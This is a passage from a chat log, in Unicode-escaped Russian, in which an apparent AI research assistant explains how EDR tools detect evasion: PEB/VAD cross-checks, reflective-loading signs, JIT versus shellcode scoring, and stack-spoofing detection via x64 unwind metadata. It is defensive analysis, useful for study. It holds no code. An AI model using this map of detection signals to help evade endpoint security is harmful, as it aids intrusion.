\u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043f\u0430\u043c\u044f\u0442\u0438 \u043e\u0442 \u0430\u0442\u0430\u043a?\n\n\u041a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e EDR \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c PEB \u0438 VAD?\n\n\n\u041c\u043e\u0436\u043d\u043e \u043b\u0438 \u043e\u0431\u043e\u0439\u0442\u0438 \u0434\u0435\u0442\u0435\u043a\u0442 \u0447\u0435\u0440\u0435\u0437 JIT-\u043a\u043e\u0434 \u0438\u043b\u0438 \u0430\u043d\u0442\u0438\u0447\u0438\u0442\u044b?\n\n\n\u041a\u0430\u043a\u0438\u0435 \u0435\u0449\u0435 \u0430\u043d\u043e\u043c\u0430\u043b\u0438\u0438 \u0432 \u0441\u0442\u0435\u043a\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u043c bypass?\n\n\n\u041a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0430 \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043f\u0430\u043c\u044f\u0442\u0438 \u043e\u0442 \u0430\u0442\u0430\u043a?\n\u042d\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c \u0447\u0435\u0440\u0435\u0437 Neon Research \u043a\u0430\u043a \u043c\u043d\u043e\u0433\u043e\u0441\u043b\u043e\u0439\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 EDR-\u0434\u0435\u0442\u0435\u043a\u0442\u0430: PEB/VAD, JIT/\u0430\u043d\u0442\u0438\u0447\u0438\u0442\u044b, stack walking \u0438 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 \u043f\u0430\u043c\u044f\u0442\u0438. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c Neon Research \u0434\u043b\u044f \u044d\u0442\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438?\n\n\n\n\n\u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u043e\u0431\u0445\u043e\u0434\u043e\u0432 \u0432 EDR\n\u0412 \u0434\u0430\u043d\u043d\u043e\u043c \u043e\u0442\u0447\u0435\u0442\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u0433\u043b\u0443\u0431\u043e\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0445 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u0441\u0438\u0441\u0442\u0435\u043c Endpoint Detection and Response (EDR) \u043f\u043e \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0434\u0432\u0438\u043d\u0443\u0442\u044b\u0445 \u0442\u0435\u0445\u043d\u0438\u043a \u043e\u0431\u0445\u043e\u0434\u0430. \u041e\u0441\u043d\u043e\u0432\u043d\u043e\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u0443\u0434\u0435\u043b\u0435\u043d\u043e \u043a\u0440\u043e\u0441\u0441-\u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440 PEB/VAD, \u0430\u043d\u0430\u043b\u0438\u0437\u0443 \u0448\u0443\u043c\u0430 JIT-\u0434\u0432\u0438\u0436\u043a\u043e\u0432 \u0438 \u0430\u043d\u0442\u0438\u0447\u0438\u0442\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0441\u0442\u0438 \u0441\u0442\u0435\u043a\u0430 \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 x64.\n\u041a\u0440\u043e\u0441\u0441-\u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f PEB \u0438 \u0434\u0435\u0440\u0435\u0432\u0430 VAD\nEDR-\u0441\u0435\u043d\u0441\u043e\u0440\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u044f\u0434\u0435\u0440\u043d\u044b\u0435 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u044b \u0434\u043b\u044f \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0441 \"\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c \u0438\u0441\u0442\u0438\u043d\u044b\" \u0432 \u044f\u0434\u0440\u0435 \u041e\u0421. \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u043c \u043c\u0435\u0442\u043e\u0434\u043e\u043c \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u043f\u0438\u0441\u043a\u043e\u0432 \u043c\u043e\u0434\u0443\u043b\u0435\u0439 \u0432 Process Environment Block (PEB) (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, InLoadOrderModuleList) \u0441 \u0434\u0435\u0440\u0435\u0432\u043e\u043c Virtual Address Descriptor (VAD) [1] [2]. \u0414\u0435\u0440\u0435\u0432\u043e VAD \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0441\u0430\u043c\u043e\u0431\u0430\u043b\u0430\u043d\u0441\u0438\u0440\u0443\u044e\u0449\u0435\u0435\u0441\u044f AVL-\u0434\u0435\u0440\u0435\u0432\u043e \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u044f\u0434\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0430\u043b\u043b\u043e\u043a\u0430\u0446\u0438\u0438 \u0432 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u043c \u0430\u0434\u0440\u0435\u0441\u043d\u043e\u043c \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 [3].\n\n\u0412\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u043a\u0440\u044b\u0442\u044b\u0445 \u043c\u043e\u0434\u0443\u043b\u0435\u0439: \u0415\u0441\u043b\u0438 \u0440\u0435\u0433\u0438\u043e\u043d \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u0434\u0435\u0440\u0435\u0432\u0435 VAD \u043f\u043e\u043c\u0435\u0447\u0435\u043d \u043a\u0430\u043a SEC_IMAGE (\u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b), \u043d\u043e \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044c \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u0441\u043f\u0438\u0441\u043a\u0430\u0445 PEB, EDR \u0444\u043b\u0430\u0433\u0443\u0435\u0442 \u044d\u0442\u043e \u043a\u0430\u043a \"\u043e\u0442\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u043c\u043e\u0434\u0443\u043b\u044f\" (module unlinking) [4].\n\u0420\u0435\u0444\u043b\u0435\u043a\u0441\u0438\u0432\u043d\u0430\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 (Reflective Loading): \u041f\u0440\u0438 \u0440\u0443\u0447\u043d\u043e\u043c \u043c\u0430\u043f\u043f\u0438\u043d\u0433\u0435 PE-\u0444\u0430\u0439\u043b\u043e\u0432 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c \u043e\u043d\u0438 \u0447\u0430\u0441\u0442\u043e \u043f\u043e\u043c\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a MEM_PRIVATE (\u0447\u0430\u0441\u0442\u043d\u0430\u044f \u043f\u0430\u043c\u044f\u0442\u044c), \u0430 \u043d\u0435 MEM_IMAGE. \u041f\u043e\u0438\u0441\u043a \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432 \"MZ\" \u0432 \u0442\u0430\u043a\u0438\u0445 \u0440\u0435\u0433\u0438\u043e\u043d\u0430\u0445, \u043d\u0435 \u0447\u0438\u0441\u043b\u044f\u0449\u0438\u0445\u0441\u044f \u0432 PEB, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u044b\u0441\u043e\u043a\u043e\u0442\u043e\u0447\u043d\u044b\u043c \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 [5].\n\nJIT-\u0434\u0432\u0438\u0436\u043a\u0438, \u0430\u043d\u0442\u0438\u0447\u0438\u0442\u044b \u0438 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u043d\u044b\u0439 \u0441\u043a\u043e\u0440\u0438\u043d\u0433\n\u0421\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 EDR \u043e\u0442\u043b\u0438\u0447\u0430\u044e\u0442 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u0443\u044e \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044e \u043a\u043e\u0434\u0430 (V8, .NET JIT) \u043e\u0442 \u0448\u0435\u043b\u043b-\u043a\u043e\u0434\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0432\u044b\u0437\u043e\u0432\u043e\u0432. \u041b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0435 JIT-\u0434\u0432\u0438\u0436\u043a\u0438 \u0447\u0430\u0441\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u044e\u0442 \u0440\u0435\u0433\u0438\u043e\u043d\u044b \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 RWX (\u0447\u0442\u0435\u043d\u0438\u0435-\u0437\u0430\u043f\u0438\u0441\u044c-\u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435), \u0447\u0442\u043e \u0441\u0430\u043c\u043e \u043f\u043e \u0441\u0435\u0431\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u0440\u0438\u0433\u0433\u0435\u0440\u043e\u043c \u0434\u043b\u044f \u044d\u0432\u0440\u0438\u0441\u0442\u0438\u043a [6] [7].\n\u0414\u043b\u044f \u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u0438 \u043b\u043e\u0436\u043d\u044b\u0445 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0439 EDR \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0442 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u043d\u044b\u0439 \u0441\u043a\u043e\u0440\u0438\u043d\u0433:\n\n\u041f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 syscall: \u0415\u0441\u043b\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0432\u044b\u0437\u043e\u0432 \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0438\u0437 \u0440\u0435\u0433\u0438\u043e\u043d\u0430 RWX, \u043d\u0435 \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0430\u0449\u0435\u0433\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u043c\u0443 JIT-\u0434\u0432\u0438\u0436\u043a\u0443 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432\u043d\u0435 \u0430\u0434\u0440\u0435\u0441\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430 ntdll.dll), \u044d\u0442\u043e \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0430\u043d\u043e\u043c\u0430\u043b\u0438\u0435\u0439 [4].\n\u0422\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f Storyline: \u0421\u0438\u0441\u0442\u0435\u043c\u044b (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, SentinelOne) \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u044e\u0442 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0441\u043e\u0431\u044b\u0442\u0438\u0439: \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, \u0430\u043b\u043b\u043e\u043a\u0430\u0446\u0438\u044e \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0441\u0435\u0442\u0435\u0432\u043e\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0432 \u0435\u0434\u0438\u043d\u044b\u0439 \u043d\u0430\u0440\u0440\u0430\u0442\u0438\u0432, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u043e\u0442\u043b\u0438\u0447\u0438\u0442\u044c \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u0443\u044e \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u044e \u0430\u043d\u0442\u0438\u0447\u0438\u0442\u043e\u0432 \u043e\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f [8].\n\u0410\u0434\u0430\u043f\u0442\u0438\u0432\u043d\u044b\u0435 \u043f\u043e\u0440\u043e\u0433\u0438 \u044d\u043d\u0442\u0440\u043e\u043f\u0438\u0438: \u0414\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0445 \u0440\u0435\u0433\u0438\u043e\u043d\u043e\u0432 \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u044d\u043d\u0442\u0440\u043e\u043f\u0438\u044f \u0428\u0435\u043d\u043d\u043e\u043d\u0430; \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0438\u043b\u0438 \u0443\u043f\u0430\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0448\u0435\u043b\u043b-\u043a\u043e\u0434 \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u043c\u0435\u0435\u0442 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0431\u043e\u043b\u0435\u0435 \u0432\u044b\u0441\u043e\u043a\u0443\u044e \u044d\u043d\u0442\u0440\u043e\u043f\u0438\u044e, \u0447\u0435\u043c JIT-\u043a\u043e\u0434 [9].\n\n\u0410\u043d\u043e\u043c\u0430\u043b\u0438\u0438 \u0441\u0442\u0435\u043a\u0430 \u0438 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0435 x64 Exception Handling\n\u0421\u043b\u043e\u0436\u043d\u044b\u0435 \u043c\u0435\u0442\u043e\u0434\u044b \u043e\u0431\u0445\u043e\u0434\u0430 \u0447\u0430\u0441\u0442\u043e \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u0438 \u0441\u043e \u0441\u0442\u0435\u043a\u043e\u043c, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a Stack Pivoting (\u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 RSP \u043d\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u0431\u0443\u0444\u0435\u0440) \u0438 ROP-\u0446\u0435\u043f\u043e\u0447\u043a\u0438 [10]. EDR \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u044e\u0442 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u0441\u0442\u0435\u043a\u0430, \u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u044f \u043a\u0430\u0434\u0440\u044b (frames) \u043d\u0430 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439 x64.\n\n\u0412\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u0447\u0435\u0440\u0435\u0437 .pdata \u0438 UNWIND_INFO: \u041d\u0430 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 x64 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0430 \u043d\u0430 \u0442\u0430\u0431\u043b\u0438\u0446\u0430\u0445. \u041a\u0430\u0436\u0434\u0430\u044f \u043d\u0435\u043b\u0438\u0441\u0442\u043e\u0432\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0434\u043e\u043b\u0436\u043d\u0430 \u0438\u043c\u0435\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u0441\u0435\u043a\u0446\u0438\u0438 .pdata (RUNTIME_FUNCTION), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u0441\u044b\u043b\u0430\u0435\u0442\u0441\u044f \u043d\u0430 UNWIND_INFO \u0432 \u0441\u0435\u043a\u0446\u0438\u0438 .xdata [11] [12]. \u042d\u0442\u0438 \u0434\u0430\u043d\u043d\u044b\u0435 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442, \u043a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442 \u0441\u0442\u0435\u043a \u0432 \u043f\u0440\u043e\u043b\u043e\u0433\u0435.\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 ROP \u0438 \u0441\u043f\u0443\u0444\u0438\u043d\u0433\u0430: EDR \u043c\u043e\u0436\u0435\u0442 \"\u044d\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c\" \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0440\u0430\u0441\u043a\u0440\u0443\u0442\u043a\u0438 \u0441\u0442\u0435\u043a\u0430 (unwinding). \u0415\u0441\u043b\u0438 \u0430\u0434\u0440\u0435\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 ROP-\u0433\u0430\u0434\u0436\u0435\u0442 \u0438\u043b\u0438 \u0440\u0435\u0433\u0438\u043e\u043d \u043f\u0430\u043c\u044f\u0442\u0438 \u0431\u0435\u0437 \u0432\u0430\u043b\u0438\u0434\u043d\u044b\u0445 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 .pdata, \u0442\u0430\u043a\u0430\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u043f\u0440\u0438\u0437\u043d\u0430\u0435\u0442\u0441\u044f \u043d\u0435\u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0439 [12] [13]. \n\u0421\u043f\u0443\u0444\u0438\u043d\u0433 \u0441\u0442\u0435\u043a\u0430 (Call Stack Spoofing): \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u043f\u044b\u0442\u0430\u044e\u0442\u0441\u044f \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0449\u0438\u0435 \u043a\u0430\u0434\u0440\u044b \u0441\u0442\u0435\u043a\u0430 \u043f\u0435\u0440\u0435\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u043c \u0432\u044b\u0437\u043e\u0432\u043e\u043c, \u043e\u0434\u043d\u0430\u043a\u043e \u043d\u0435\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u043e\u0432 \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f\u043c\u0438 \u0432 UNWIND_CODE \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0441\u0435\u043d\u0441\u043e\u0440\u0430\u043c \u0432\u044b\u044f\u0432\u043b\u044f\u0442\u044c \u0442\u0430\u043a\u0438\u0435 \u043f\u043e\u0434\u0434\u0435\u043b\u043a\u0438 [13] [11].\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438\n[1] Locating Modules Via The PEB (Process Environment Block)\n[2] PEB_LDR_DATA structure (winternl.h) - Win32 apps - Microsoft Learn\n[3] The Windows Concept Journey \u2014 VAD Tree (Virtual Address\n[4] An Introduction to Bypassing User Mode EDR Hooks - MalwareTech\n[5] Detecting reflective DLL injection\n[6] A Technical Deep Dive: Comparing Anti-Cheat Bypass and EDR\n[7] pandaadir05/ghost - GitHub\n[8] Obfuscation in Cyber Security: Techniques Explained - SentinelOne\n[9] In-Memory Shellcode Runner Detection in Internet of Things (IoT\n[10] Exploit Development: Playing ROP'em COP'em Robots with\n[11] x64 exception handling | Microsoft Learn\n[12] Improving Automated Analysis of Windows x64 Binaries - Exploit-DB\n[13] The Evolution of EDR Bypasses: A Historical Timeline - CovertSwarm\n\n\u041c\u043e\u0436\u043d\u043e \u0442\u0435\u043f\u0435\u0440\u044c, \u043f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u0443\u044e \u0432\u044b\u0436\u0438\u043c\u043a\u0443?\n\u041d\u0438\u0436\u0435 \u2014 \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u0430\u044f \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u0430\u044f \u0432\u044b\u0436\u0438\u043c\u043a\u0430 \u043f\u043e \u0442\u043e\u043c\u0443, \u043a\u0430\u043a EDR \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438 \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u0443\u044e \u0441\u043b\u043e\u0436\u043d\u0443\u044e runtime-\u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043e\u0442 bypass/tamper-\u043f\u0430\u0442\u0442\u0435\u0440\u043d\u043e\u0432.\n\n1. \u0413\u043b\u0430\u0432\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c EDR: \u043d\u0435 \u201c\u043e\u0434\u0438\u043d \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u201d, \u0430 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0441\u0442\u044c \u0441\u043b\u043e\u0451\u0432\n\u0421\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 EDR \u043f\u043e\u0447\u0442\u0438 \u043d\u0438\u043a\u043e\u0433\u0434\u0430 \u043d\u0435 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0443 \u0432\u0440\u043e\u0434\u0435 RWX memory, MZ \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438\u043b\u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e PEB entry. \u041e\u043d \u0441\u0442\u0440\u043e\u0438\u0442 \u043c\u043e\u0434\u0435\u043b\u044c \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0441\u0442\u0438 \u043c\u0435\u0436\u0434\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u043c\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438:\n\nPEB loader lists\n+ VAD tree\n+ memory protections\n+ backing files / sections\n+ image load events\n+ ETW\n+ kernel callbacks\n+ handle operations\n+ stack walking\n+ module integrity\n+ process lineage\n+ code signing / trust\n+ behavioral sequence\n\u041e\u0441\u043d\u043e\u0432\u043d\u0430\u044f \u0438\u0434\u0435\u044f:\n\n\u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0434\u0435\u043b\u0430\u0435\u0442 \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435,\n\u0442\u043e \u0435\u0433\u043e \u043f\u0430\u043c\u044f\u0442\u044c, \u0441\u0442\u0435\u043a, \u043c\u043e\u0434\u0443\u043b\u0438, VAD, PEB \u0438 \u043f\u0440\u0435\u0434\u0448\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0430\u044f \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u044f\n\u0434\u043e\u043b\u0436\u043d\u044b \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u043e\u0434\u043d\u0443 \u0438 \u0442\u0443 \u0436\u0435 \u0438\u0441\u0442\u043e\u0440\u0438\u044e.\nBypass \u043e\u0431\u044b\u0447\u043d\u043e \u043b\u043e\u043c\u0430\u0435\u0442 \u044d\u0442\u0443 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u043d\u043e\u0441\u0442\u044c. \u041e\u043d \u043c\u043e\u0436\u0435\u0442 \u0441\u043f\u0440\u044f\u0442\u0430\u0442\u044c\u0441\u044f \u043e\u0442 